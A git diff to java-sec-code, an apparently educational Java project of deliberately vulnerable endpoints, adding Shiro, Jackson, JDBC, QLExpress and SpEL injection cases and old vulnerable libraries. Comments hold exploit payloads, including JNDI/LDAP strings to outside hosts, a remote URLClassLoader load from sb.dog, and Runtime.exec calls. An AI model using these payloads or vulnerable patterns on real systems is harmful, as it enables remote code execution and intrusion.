diff --git a/README.md b/README.md index 52642169..c1f2eb91 100644 --- a/README.md +++ b/README.md @@ -3,7 +3,12 @@ Java sec code is a very powerful and friendly project for learning Java vulnerability code. -[中文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README_zh.md) 😋[Alibaba Security Purple Team Recruitment](https://talent.alibaba.com/off-campus-position/937731?trace=qrcode_share) +[中文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README_zh.md) 😋 + +## Recruitment + +[Alibaba-Security attack and defense/research(P5-P7)](https://github.com/JoyChou93/java-sec-code/wiki/Alibaba-Purple-Team-Job-Description) + ## Introduce @@ -41,12 +46,14 @@ Sort by letter. - [Log4j](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Log4j.java) - [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java) - [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java) +- [QLExpress](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/QLExpress.java) - [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java) - Runtime - ProcessBuilder - ScriptEngine - Yaml Deserialize - Groovy +- [Shiro](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Shiro.java) - [Swagger](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/config/SwaggerConfig.java) - [SpEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SpEL.java) - [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java) @@ -145,7 +152,7 @@ Viarus Example: ``` -http://localhost:8080/java-sec-code-1.0.0/rce/exec?cmd=whoami +http://localhost:8080/java-sec-code-1.0.0/rce/runtime/exec?cmd=whoami ``` return: @@ -203,12 +210,6 @@ Core developers : [JoyChou](https://github.com/JoyChou93), [liergou9981](https:/ Other developers: [lightless](https://github.com/lightless233), [Anemone95](https://github.com/Anemone95), [waderwu](https://github.com/waderwu). -## Donate - -If you like the poject, you can donate to support me. With your support, I will be able to make `Java sec code` better 😎. - -### Alipay - -Scan the QRcode to support `Java sec code`. +## Support - +If you like the poject, you can star java-sec-code project to support me. With your support, I will be able to make `Java sec code` better 😎. diff --git a/README_zh.md b/README_zh.md index 70e68837..b5c658c3 100644 --- a/README_zh.md +++ b/README_zh.md @@ -2,7 +2,11 @@ 对于学习Java漏洞代码来说,`Java Sec Code`是一个非常强大且友好的项目。 -[英文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md) 😋[阿里集团安全紫军招聘](https://talent.alibaba.com/off-campus-position/937731?trace=qrcode_share) +[英文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md) 😋 + +## 招聘 + +[Alibaba招聘-安全攻防/研究(P5-P7)](https://github.com/JoyChou93/java-sec-code/wiki/Alibaba-Purple-Team-Job-Description) ## 介绍 @@ -36,12 +40,14 @@ joychou/joychou123 - [Log4j](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Log4j.java) - [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java) - [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java) +- [QLExpress](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/QLExpress.java) - [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java) - Runtime - ProcessBuilder - ScriptEngine - Yaml Deserialize - Groovy +- [Shiro](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Shiro.java) - [SpEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SpEL.java) - [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java) - [SSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java) @@ -137,7 +143,7 @@ Viarus 例子: ``` -http://localhost:8080/java-sec-code-1.0.0/rce/exec?cmd=whoami +http://localhost:8080/java-sec-code-1.0.0/rce/runtime/exec?cmd=whoami ``` 返回: @@ -193,12 +199,7 @@ Tomcat默认JSESSION会话有效时间为30分钟,所以30分钟不操作会 核心开发者: [JoyChou](https://github.com/JoyChou93).其他开发者:[lightless](https://github.com/lightless233), [Anemone95](https://github.com/Anemone95)。欢迎各位提交PR。 -## 捐赠 - -如果你喜欢这个项目,你可以捐款来支持我。 有了你的支持,我将能够更好地制作`Java sec code`项目。 - -### Alipay +## 支持 -扫描支付宝二维码支持`Java sec code`。 +如果你喜欢这个项目,你可以star该项目支持我。 有了你的支持,我将能够更好地制作`Java sec code`项目。 - diff --git a/java-sec-code.iml b/java-sec-code.iml index a20476ae..5c58c92b 100644 --- a/java-sec-code.iml +++ b/java-sec-code.iml @@ -1,232 +1,14 @@ - + + + + + + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/pom.xml b/pom.xml index 9ee03372..c62d938c 100644 --- a/pom.xml +++ b/pom.xml @@ -12,7 +12,6 @@ 1.8 1.8 - 8.5.85 @@ -197,11 +196,12 @@ 1.7 - + com.thoughtworks.xstream xstream - 1.4.10 + + 1.4.20 @@ -260,7 +260,7 @@ org.projectlombok lombok - 1.18.16 + 1.18.20 provided @@ -330,6 +330,79 @@ 1.4.13 + + + org.postgresql + postgresql + 42.3.1 + + + + + com.ibm.db2 + jcc + 11.5.8.0 + + + + org.apache.shiro + shiro-core + 1.2.4 + + + + com.fasterxml.jackson.core + jackson-databind + 2.9.8 + + + + com.fasterxml.jackson.core + jackson-annotations + 2.9.8 + + + + com.fasterxml.jackson.core + jackson-core + 2.9.8 + + + + + + org.jsecurity + jsecurity + 0.9.0 + + + + + + org.springframework + spring-expression + 4.3.16.RELEASE + + + + + com.h2database + h2 + 1.4.199 + test + + + + org.apache.tomcat + tomcat-dbcp + 9.0.8 + + + + com.alibaba + QLExpress + 3.3.1 + diff --git a/src/main/java/org/joychou/Application.java b/src/main/java/org/joychou/Application.java index 41169b9a..afdf6f56 100644 --- a/src/main/java/org/joychou/Application.java +++ b/src/main/java/org/joychou/Application.java @@ -5,7 +5,6 @@ import org.springframework.boot.builder.SpringApplicationBuilder; import org.springframework.boot.web.servlet.ServletComponentScan; import org.springframework.boot.web.support.SpringBootServletInitializer; -import org.springframework.cloud.netflix.eureka.EnableEurekaClient; @ServletComponentScan // do filter diff --git a/src/main/java/org/joychou/config/TomcatFilterMemShell.java b/src/main/java/org/joychou/config/TomcatFilterMemShell.java index be7a1b1c..15822d59 100644 --- a/src/main/java/org/joychou/config/TomcatFilterMemShell.java +++ b/src/main/java/org/joychou/config/TomcatFilterMemShell.java @@ -1,10 +1,5 @@ package org.joychou.config; -import com.sun.org.apache.xalan.internal.xsltc.DOM; -import com.sun.org.apache.xalan.internal.xsltc.TransletException; -import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; -import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; -import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.lang.reflect.Field; import org.apache.catalina.core.StandardContext; import java.io.IOException; @@ -19,8 +14,8 @@ import javax.servlet.*; import java.util.*; -@Component -public class TomcatFilterMemShell extends AbstractTranslet implements Filter { +//@Component +public class TomcatFilterMemShell implements Filter { static{ try { System.out.println("Tomcat filter backdoor class is loading..."); @@ -75,16 +70,6 @@ public class TomcatFilterMemShell extends AbstractTranslet implements Filter { } - @Override - public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { - - } - - @Override - public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { - - } - @Override public void init(FilterConfig filterConfig) throws ServletException { diff --git a/src/main/java/org/joychou/controller/Deserialize.java b/src/main/java/org/joychou/controller/Deserialize.java index 1ca5ff43..55c82ab2 100644 --- a/src/main/java/org/joychou/controller/Deserialize.java +++ b/src/main/java/org/joychou/controller/Deserialize.java @@ -1,5 +1,6 @@ package org.joychou.controller; +import com.fasterxml.jackson.databind.ObjectMapper; import org.joychou.config.Constants; import org.joychou.security.AntObjectInputStream; import org.slf4j.Logger; @@ -83,4 +84,17 @@ public String rememberMeBlackClassCheck(HttpServletRequest request) return "I'm very OK."; } + // String payload = "[\"org.jsecurity.realm.jndi.JndiRealmFactory\", {\"jndiNames\":\"ldap://30.196.97.50:1389/yto8pc\"}]"; + @RequestMapping("/jackson") + public void Jackson(String payload) { + ObjectMapper mapper = new ObjectMapper(); + mapper.enableDefaultTyping(); + try { + Object obj = mapper.readValue(payload, Object.class); + mapper.writeValueAsString(obj); + } catch (IOException e) { + e.printStackTrace(); + } + } + } diff --git a/src/main/java/org/joychou/controller/FileUpload.java b/src/main/java/org/joychou/controller/FileUpload.java index 00ab7008..a1858a12 100644 --- a/src/main/java/org/joychou/controller/FileUpload.java +++ b/src/main/java/org/joychou/controller/FileUpload.java @@ -195,4 +195,4 @@ private static boolean isImage(File file) throws IOException { BufferedImage bi = ImageIO.read(file); return bi != null; } -} +} \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/Jdbc.java b/src/main/java/org/joychou/controller/Jdbc.java new file mode 100644 index 00000000..79154c1e --- /dev/null +++ b/src/main/java/org/joychou/controller/Jdbc.java @@ -0,0 +1,36 @@ +package org.joychou.controller; + +import lombok.extern.slf4j.Slf4j; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.sql.DriverManager; + +/** + * Jdbc Attack @2023.04 + */ +@Slf4j +@RestController +@RequestMapping("/jdbc") +public class Jdbc { + + /** + * CVE-2022-21724 + */ + @RequestMapping("/postgresql") + public void postgresql(String jdbcUrlBase64) throws Exception{ + byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64); + String jdbcUrl = new String(b); + log.info(jdbcUrl); + DriverManager.getConnection(jdbcUrl); + } + + @RequestMapping("/db2") + public void db2(String jdbcUrlBase64) throws Exception{ + Class.forName("com.ibm.db2.jcc.DB2Driver"); + byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64); + String jdbcUrl = new String(b); + log.info(jdbcUrl); + DriverManager.getConnection(jdbcUrl); + } +} diff --git a/src/main/java/org/joychou/controller/Jsonp.java b/src/main/java/org/joychou/controller/Jsonp.java index 2ab0dcef..eb9381e3 100644 --- a/src/main/java/org/joychou/controller/Jsonp.java +++ b/src/main/java/org/joychou/controller/Jsonp.java @@ -6,8 +6,8 @@ import com.alibaba.fastjson.JSONPObject; import lombok.extern.slf4j.Slf4j; import org.apache.commons.lang.StringUtils; -import org.joychou.security.SecurityUtil; import org.joychou.util.LoginUtils; +import org.joychou.security.SecurityUtil; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.http.MediaType; import org.springframework.security.web.csrf.CookieCsrfTokenRepository; @@ -19,7 +19,6 @@ import org.joychou.util.WebUtils; import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; import java.security.Principal; diff --git a/src/main/java/org/joychou/controller/Jwt.java b/src/main/java/org/joychou/controller/Jwt.java index 522fd44a..f3e4c126 100644 --- a/src/main/java/org/joychou/controller/Jwt.java +++ b/src/main/java/org/joychou/controller/Jwt.java @@ -33,7 +33,9 @@ public String createToken(HttpServletResponse response, HttpServletRequest reque String loginUser = request.getUserPrincipal().getName(); log.info("Current login user is " + loginUser); - CookieUtils.deleteCookie(response, COOKIE_NAME); + if (!CookieUtils.deleteCookie(response, COOKIE_NAME)){ + return String.format("%s cookie delete failed", COOKIE_NAME); + } String token = JwtUtils.generateTokenByJavaJwt(loginUser); Cookie cookie = new Cookie(COOKIE_NAME, token); diff --git a/src/main/java/org/joychou/controller/Log4j.java b/src/main/java/org/joychou/controller/Log4j.java index ada8a394..b2ea4060 100644 --- a/src/main/java/org/joychou/controller/Log4j.java +++ b/src/main/java/org/joychou/controller/Log4j.java @@ -2,7 +2,7 @@ import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; -import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; @RestController @@ -11,19 +11,19 @@ public class Log4j { private static final Logger logger = LogManager.getLogger("Log4j"); /** - * http://localhost:8080/log4j?token=${jndi:ldap://wffsr5.dnslog.cn:9999} + * http://localhost:8080/log4j?token=${jndi:ldap://127.0.0.1:1389/0iun75} * Default: error/fatal/off * Fix: Update log4j to lastet version. - * @param token token */ - @GetMapping("/log4j") + @RequestMapping(value = "/log4j") public String log4j(String token) { - if(token.equals("java-sec-code")) { - return "java sec code"; - } else { - logger.error(token); - return "error"; - } + logger.error(token); + return token; + } + + public static void main(String[] args) { + String poc = "${jndi:ldap://127.0.0.1:1389/0iun75}"; + logger.error(poc); } } diff --git a/src/main/java/org/joychou/controller/QLExpress.java b/src/main/java/org/joychou/controller/QLExpress.java new file mode 100644 index 00000000..663589cd --- /dev/null +++ b/src/main/java/org/joychou/controller/QLExpress.java @@ -0,0 +1,44 @@ +package org.joychou.controller; + +import com.ql.util.express.DefaultContext; +import com.ql.util.express.ExpressRunner; +import com.ql.util.express.config.QLExpressRunStrategy; +import org.joychou.util.WebUtils; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.servlet.http.HttpServletRequest; + +@RestController(value = "/qlexpress") +public class QLExpress { + + /** + * url = 'http://sb.dog:8888/'; + * classLoader = new java.net.URLClassLoader([new java.net.URL(url)]); + * classLoader.loadClass('Hello').newInstance(); + */ + @RequestMapping("/vuln1") + public String vuln1(HttpServletRequest req) throws Exception{ + String express = WebUtils.getRequestBody(req); + System.out.println(express); + ExpressRunner runner = new ExpressRunner(); + DefaultContext context = new DefaultContext(); + Object r = runner.execute(express, context, null, true, false); + System.out.println(r); + return r.toString(); + } + + @RequestMapping("/sec") + public String sec(HttpServletRequest req) throws Exception{ + String express = WebUtils.getRequestBody(req); + System.out.println(express); + ExpressRunner runner = new ExpressRunner(); + QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true); + // Can only call java.lang.String#length() + QLExpressRunStrategy.addSecureMethod(String.class, "length"); + DefaultContext context = new DefaultContext(); + Object r = runner.execute(express, context, null, true, false); + System.out.println(r); + return r.toString(); + } +} diff --git a/src/main/java/org/joychou/controller/Rce.java b/src/main/java/org/joychou/controller/Rce.java index 6d6a3417..7c5f30a9 100644 --- a/src/main/java/org/joychou/controller/Rce.java +++ b/src/main/java/org/joychou/controller/Rce.java @@ -1,6 +1,7 @@ package org.joychou.controller; import groovy.lang.GroovyShell; +import lombok.extern.slf4j.Slf4j; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; @@ -21,6 +22,7 @@ * * @author JoyChou @ 2018-05-24 */ +@Slf4j @RestController @RequestMapping("/rce") public class Rce { @@ -55,8 +57,7 @@ public String CommandExec(String cmd) { /** - * http://localhost:8080/rce/ProcessBuilder?cmd=whoami - * @param cmd cmd + * POC */ @GetMapping("/ProcessBuilder") public String processBuilder(String cmd) { @@ -128,5 +129,10 @@ public void groovyshell(String content) { groovyShell.evaluate(content); } + + + public static void main(String[] args) throws Exception{ + Runtime.getRuntime().exec("touch /tmp/x"); + } } diff --git a/src/main/java/org/joychou/controller/Shiro.java b/src/main/java/org/joychou/controller/Shiro.java new file mode 100644 index 00000000..2dc143ca --- /dev/null +++ b/src/main/java/org/joychou/controller/Shiro.java @@ -0,0 +1,49 @@ +package org.joychou.controller; + + +import lombok.extern.slf4j.Slf4j; +import org.apache.shiro.crypto.AesCipherService; +import org.joychou.config.Constants; +import org.joychou.util.CookieUtils; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RestController; +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import static org.springframework.web.util.WebUtils.getCookie; + +@Slf4j +@RestController +public class Shiro { + + byte[] KEYS = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); + private final static String DELETE_ME = "deleteMe"; + AesCipherService acs = new AesCipherService(); + + + @GetMapping(value = "/shiro/deserialize") + public String shiro_deserialize(HttpServletRequest req, HttpServletResponse res) { + Cookie cookie = getCookie(req, Constants.REMEMBER_ME_COOKIE); + if (null == cookie) { + return "No rememberMe cookie. Right?"; + } + + try { + String rememberMe = cookie.getValue(); + byte[] b64DecodeRememberMe = java.util.Base64.getDecoder().decode(rememberMe); + byte[] aesDecrypt = acs.decrypt(b64DecodeRememberMe, KEYS).getBytes(); + ByteArrayInputStream bytes = new ByteArrayInputStream(aesDecrypt); + ObjectInputStream in = new ObjectInputStream(bytes); + in.readObject(); + in.close(); + } catch (Exception e){ + if (CookieUtils.addCookie(res, "rememberMe", DELETE_ME)){ + log.error(e.getMessage()); + return "RememberMe cookie decrypt error. Set deleteMe cookie success."; + } + } + + return "Shiro deserialize"; + } +} diff --git a/src/main/java/org/joychou/controller/SpEL.java b/src/main/java/org/joychou/controller/SpEL.java index 698f4a7e..452180b8 100644 --- a/src/main/java/org/joychou/controller/SpEL.java +++ b/src/main/java/org/joychou/controller/SpEL.java @@ -1,38 +1,64 @@ package org.joychou.controller; +import org.springframework.expression.Expression; import org.springframework.expression.ExpressionParser; +import org.springframework.expression.common.TemplateParserContext; import org.springframework.expression.spel.standard.SpelExpressionParser; -import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.expression.spel.support.SimpleEvaluationContext; +import org.springframework.expression.spel.support.StandardEvaluationContext; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; /** - * SpEL Injection - * + * SpEL Injection. * @author JoyChou @2019-01-17 */ @RestController public class SpEL { /** - * SpEL to RCE - * http://localhost:8080/spel/vul/?expression=xxx. - * xxx is urlencode(exp) - * exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io") + * Use Spel to execute cmd.

+ * T(java.lang.Runtime).getRuntime().exec("open -a Calculator") */ - @GetMapping("/spel/vuln") - public String rce(String expression) { + @RequestMapping("/spel/vuln1") + public String spel_vuln1(String value) { ExpressionParser parser = new SpelExpressionParser(); - // fix method: SimpleEvaluationContext - return parser.parseExpression(expression).getValue().toString(); + return parser.parseExpression(value).getValue().toString(); + } + + /** + * Use Spel to execute cmd.

+ * #{T(java.lang.Runtime).getRuntime().exec('open -a Calculator')} + * Exploit must add #{} if using TemplateParserContext. + */ + @RequestMapping("spel/vuln2") + public String spel_vuln2(String value) { + StandardEvaluationContext context = new StandardEvaluationContext(); + SpelExpressionParser parser = new SpelExpressionParser(); + Expression expression = parser.parseExpression(value, new TemplateParserContext()); + Object x = expression.getValue(context); // trigger vulnerability point + return x.toString(); // response + } + + /** + * Use SimpleEvaluationContext to fix. + */ + @RequestMapping("spel/sec") + public String spel_sec(String value) { + SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build(); + SpelExpressionParser parser = new SpelExpressionParser(); + Expression expression = parser.parseExpression(value, new TemplateParserContext()); + Object x = expression.getValue(context); + return x.toString(); } public static void main(String[] args) { ExpressionParser parser = new SpelExpressionParser(); - String expression = "T(java.lang.Runtime).getRuntime().exec(\"open -a Calculator\")"; + String expression = "1+1"; String result = parser.parseExpression(expression).getValue().toString(); System.out.println(result); } + } diff --git a/src/main/java/org/joychou/controller/Test.java b/src/main/java/org/joychou/controller/Test.java deleted file mode 100644 index 3b75c7d0..00000000 --- a/src/main/java/org/joychou/controller/Test.java +++ /dev/null @@ -1,36 +0,0 @@ -package org.joychou.controller; - -import org.springframework.stereotype.Controller; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.ResponseBody; -import org.springframework.web.bind.annotation.RestController; - -import javax.servlet.http.Cookie; -import javax.servlet.http.HttpServletResponse; - -@RestController -@RequestMapping("/test") -public class Test { - - @RequestMapping(value = "/") - public String Index(HttpServletResponse response, String empId) { - - System.out.println(empId); - Cookie cookie = new Cookie("XSRF-TOKEN", "123"); - cookie.setDomain("taobao.com"); - cookie.setMaxAge(-1); // forever time - response.addCookie(cookie); - return "success"; - } - - - @RequestMapping(value = "/aa") - public void test(HttpServletResponse response, String empId) { - - System.out.println(empId); - Cookie cookie = new Cookie("XSRF-TOKEN", "123"); - cookie.setDomain("taobao.com"); - cookie.setMaxAge(-1); // forever time - response.addCookie(cookie); - } -} diff --git a/src/main/java/org/joychou/controller/XStreamRce.java b/src/main/java/org/joychou/controller/XStreamRce.java index 62616e95..aa3469bd 100644 --- a/src/main/java/org/joychou/controller/XStreamRce.java +++ b/src/main/java/org/joychou/controller/XStreamRce.java @@ -2,6 +2,7 @@ import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.DomDriver; +import com.thoughtworks.xstream.security.AnyTypePermission; import org.joychou.dao.User; import org.joychou.util.WebUtils; import org.springframework.web.bind.annotation.PostMapping; @@ -24,20 +25,9 @@ public class XStreamRce { public String parseXml(HttpServletRequest request) throws Exception { String xml = WebUtils.getRequestBody(request); XStream xstream = new XStream(new DomDriver()); + xstream.addPermission(AnyTypePermission.ANY); // This will cause all XStream versions to be affected. xstream.fromXML(xml); return "xstream"; } - public static void main(String[] args) { - User user = new User(); - user.setId(0); - user.setUsername("admin"); - - XStream xstream = new XStream(new DomDriver()); - String xml = xstream.toXML(user); // Serialize - System.out.println(xml); - - user = (User) xstream.fromXML(xml); // Deserialize - System.out.println(user.getId() + ": " + user.getUsername()); - } } diff --git a/src/main/java/org/joychou/controller/XXE.java b/src/main/java/org/joychou/controller/XXE.java index 36372727..58e90739 100644 --- a/src/main/java/org/joychou/controller/XXE.java +++ b/src/main/java/org/joychou/controller/XXE.java @@ -234,7 +234,7 @@ public String DigesterSec(HttpServletRequest request) { * Use request.getInputStream to support UTF16 encoding. */ @RequestMapping(value = "/DocumentBuilder/vuln", method = RequestMethod.POST) - public String DocumentBuilderVuln01(HttpServletRequest request) { + public String DocumentBuilderVuln(HttpServletRequest request) { try { DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); @@ -436,8 +436,8 @@ public interface UserPayload { String getUserName(); } + public static void main(String[] args) { - public static void main(String[] args) { } } \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java b/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java index ec054ffd..d3107c3e 100644 --- a/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java +++ b/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java @@ -1,7 +1,6 @@ package org.joychou.controller.othervulns; import com.monitorjbl.xlsx.StreamingReader; -import org.apache.poi.ss.usermodel.Workbook; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; diff --git a/src/main/java/org/joychou/dao/User.java b/src/main/java/org/joychou/dao/User.java index 1336f571..0b8eb3b0 100644 --- a/src/main/java/org/joychou/dao/User.java +++ b/src/main/java/org/joychou/dao/User.java @@ -1,32 +1,11 @@ package org.joychou.dao; -import java.io.Serializable; +import lombok.Data; -public class User implements Serializable { - private static final long serialVersionUID = 1L; + +@Data +public class User { private Integer id; private String username; private String password; - - public Integer getId() { - return id; - } - public void setId(Integer id) { - this.id = id; - } - - public String getUsername() { - return username; - } - public void setUsername(String username) { - this.username = username; - } - - public String getPassword() { - return password; - } - public void setPassword(String password) { - this.password = password; - } - } diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java index ee962846..fef14593 100644 --- a/src/main/java/org/joychou/security/SecurityUtil.java +++ b/src/main/java/org/joychou/security/SecurityUtil.java @@ -18,7 +18,7 @@ public class SecurityUtil { private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$"); - private static Logger logger = LoggerFactory.getLogger(SecurityUtil.class); + private final static Logger logger = LoggerFactory.getLogger(SecurityUtil.class); /** @@ -116,7 +116,6 @@ public static boolean checkSSRFByWhitehosts(String url) { /** * 解析URL的IP,判断IP是否是内网IP。如果有重定向跳转,循环解析重定向跳转的IP。不建议使用该方案。 - * * 存在的问题: * 1、会主动发起请求,可能会有性能问题 * 2、设置重定向跳转为第一次302不跳转,第二次302跳转到内网IP 即可绕过该防御方案 @@ -134,7 +133,6 @@ public static boolean checkSSRF(String url) { /** * 不能使用白名单的情况下建议使用该方案。前提是禁用重定向并且TTL默认不为0。 - * * 存在问题: * 1、TTL为0会被绕过 * 2、使用重定向可绕过 diff --git a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java index 71abc91e..c2b3896a 100644 --- a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java +++ b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java @@ -188,6 +188,7 @@ public static String host2ip(String host) { InetAddress IpAddress = InetAddress.getByName(host); return IpAddress.getHostAddress(); } catch (Exception e) { + logger.error("host2ip exception " + e.getMessage()); return ""; } } @@ -198,45 +199,57 @@ public static String host2ip(String host) { * @return Octal ip returns true, others return false. 012.23.78.233 return true. 012.0x17.78.233 return false. */ public static boolean isOctalIP(String host) { - String[] ipParts = host.split("\\."); - StringBuilder newDecimalIP = new StringBuilder(); - boolean is_octal = false; - - // Octal ip only has number and dot character. - if (isNumberOrDot(host)) { - - // not support ipv6 - if (ipParts.length > 4) { - throw new SSRFException("Illegal ipv4: " + host); - } - - // 01205647351 - if( ipParts.length == 1 && host.startsWith("0") ) { - decimalIp = Integer.valueOf(host, 8).toString(); - return true; - } + try{ + String[] ipParts = host.split("\\."); + StringBuilder newDecimalIP = new StringBuilder(); + boolean is_octal = false; + + // Octal ip only has number and dot character. + if (isNumberOrDot(host)) { + + // not support ipv6 + if (ipParts.length > 4) { + logger.error("Illegal ipv4: " + host); + return false; + } - // 012.23.78.233 - for(String ip : ipParts) { - if (!isNumber(ip)){ - throw new SSRFException("Illegal ipv4: " + host); + // 01205647351 + if( ipParts.length == 1 && host.startsWith("0") ) { + decimalIp = Integer.valueOf(host, 8).toString(); + return true; } - if (ip.startsWith("0")) { - if (Integer.valueOf(ip, 8) >= 256){ - throw new SSRFException("Illegal ipv4: " + host); + + // 012.23.78.233 + for(String ip : ipParts) { + if (!isNumber(ip)){ + logger.error("Illegal ipv4: " + host); + return false; } - newDecimalIP.append(Integer.valueOf(ip, 8)).append("."); - is_octal = true; - }else{ - if (Integer.valueOf(ip, 10) >= 256) { - throw new SSRFException("Illegal ipv4: " + host); + // start with "0", but not "0" + if (ip.startsWith("0") && !ip.equals("0")) { + if (Integer.valueOf(ip, 8) >= 256){ + logger.error("Illegal ipv4: " + host); + return false; + } + newDecimalIP.append(Integer.valueOf(ip, 8)).append("."); + is_octal = true; + }else{ + if (Integer.valueOf(ip, 10) >= 256) { + logger.error("Illegal ipv4: " + host); + return false; + } + newDecimalIP.append(ip).append("."); } - newDecimalIP.append(ip).append("."); } + // delete last char . + decimalIp = newDecimalIP.substring(0, newDecimalIP.lastIndexOf(".")); } - decimalIp = newDecimalIP.substring(0, newDecimalIP.lastIndexOf(".")); + return is_octal; + } catch (Exception e){ + logger.error("SSRFChecker isOctalIP exception: " + e.getMessage()); + return false; } - return is_octal; + } /** diff --git a/src/main/java/org/joychou/util/CookieUtils.java b/src/main/java/org/joychou/util/CookieUtils.java index eddae0db..f63b6e42 100644 --- a/src/main/java/org/joychou/util/CookieUtils.java +++ b/src/main/java/org/joychou/util/CookieUtils.java @@ -21,4 +21,17 @@ public static boolean deleteCookie(HttpServletResponse res, String cookieName) { return false; } } + + public static boolean addCookie(HttpServletResponse res, String cookieName, String cookieValue) { + try { + Cookie cookie = new Cookie(cookieName, cookieValue); + cookie.setMaxAge(1000); + cookie.setPath("/"); + res.addCookie(cookie); + return true; + } catch (Exception e) { + log.error(e.toString()); + return false; + } + } } diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties index d5c6d5ab..326a2b76 100644 --- a/src/main/resources/application.properties +++ b/src/main/resources/application.properties @@ -9,8 +9,6 @@ logging.level.org.joychou.mapper=debug # Spring Boot Actuator Config management.security.enabled=false -endpoints.enabled=true - # logging.config=classpath:logback-online.xml @@ -48,10 +46,14 @@ swagger.enable = true ### no need to login page begins ### -joychou.no.need.login.url = /css/**, /js/**, /xxe/**, /rce/**, /deserialize/**, /test/**, /ws/** +joychou.no.need.login.url = /css/**, /js/**, /xxe/**, /rce/**, /deserialize/**, /test/**, /ws/**, /shiro/**, /ssrf/**, /spel/**, /qlexpress/** ### no need to login page ends ### # http header max size #server.max-http-header-size=30000 + +# Fake aksk. Simulate actuator info leak. +jsc.accessKey.id=LTAI5tSAEPX3Z5N2Yt8ogc2y +jsc.accessKey.secret=W1Poxj09wN0Zu6dDsS0on3SIUhOhK7 \ No newline at end of file diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html index 8511d5fd..7e7061be 100644 --- a/src/main/resources/templates/index.html +++ b/src/main/resources/templates/index.html @@ -5,29 +5,30 